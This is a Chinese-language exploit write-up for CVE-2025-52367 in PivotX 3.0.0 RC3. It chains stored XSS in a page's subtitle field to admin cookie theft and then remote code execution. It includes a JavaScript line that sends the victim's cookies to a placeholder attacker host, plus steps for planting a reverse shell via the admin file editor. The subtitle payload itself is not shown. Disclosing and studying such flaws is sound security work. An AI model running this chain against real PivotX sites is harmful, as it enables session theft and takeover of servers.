漏洞标题:PivotX v3.0.0 RC3 - 存储型XSS到远程代码执行(RCE)
日期:2025年7月
漏洞作者:HayToN
厂商主页:https://github.com/pivotx
软件链接:https://github.com/pivotx/PivotX
版本:3.0.0 RC3
测试环境:Debian 11, PHP 7.4
CVE:CVE-2025-52367
漏洞类型:
页面创建时的"title"和"subtitle"字段存在存储型跨站脚本(XSS)漏洞。输入未经净化,通过PHP serialize()直接存储到磁盘。
根本原因:
在’modules/pages_flat.php’中,函数’savePage($page)‘通过’saveSerialize()‘存储页面数据,未进行任何净化处理。存储的值随后在管理面板中未经转义直接渲染。
只有’body’和’introduction’字段经过TinyMCE处理(会对HTML进行编码)。’title’和’subtitle’字段以原始HTML形式渲染。
注意:如果您已经是管理员,请跳过步骤1-7
利用步骤:
-
以认证用户身份登录(普通用户,无需管理员权限)。
-
通过仪表板创建新页面,地址为:http://IP/PivotX/pivotx/index.php?page=page
-
本地创建一个包含窃取cookie代码的JavaScript文件。 例如:lol.js 包含内容: document.location = ‘http://LOCAL_IP/bruh?c=’ + document.cookie;
-
在"Subtitle"字段中输入以下payload(请确保更改文件名为您的文件名):
-
发布页面。
-
当管理员在博客中查看已发布的页面时,XSS将在管理员上下文中执行。
-
利用此XSS发送payload窃取管理员cookie,然后将cookie插入到您的站点。
-
以管理员身份导航到http://IP/PivotX/pivotx/index.php?page=homeexplore,在此可以编辑index.php文件
-
将index.php文件编辑为您想要在目标上获得RCE的任何php文件,可以使用反向shell或其他方法。
-
访问http://IP/PivotX/index.php,您应该获得一个反向shell :)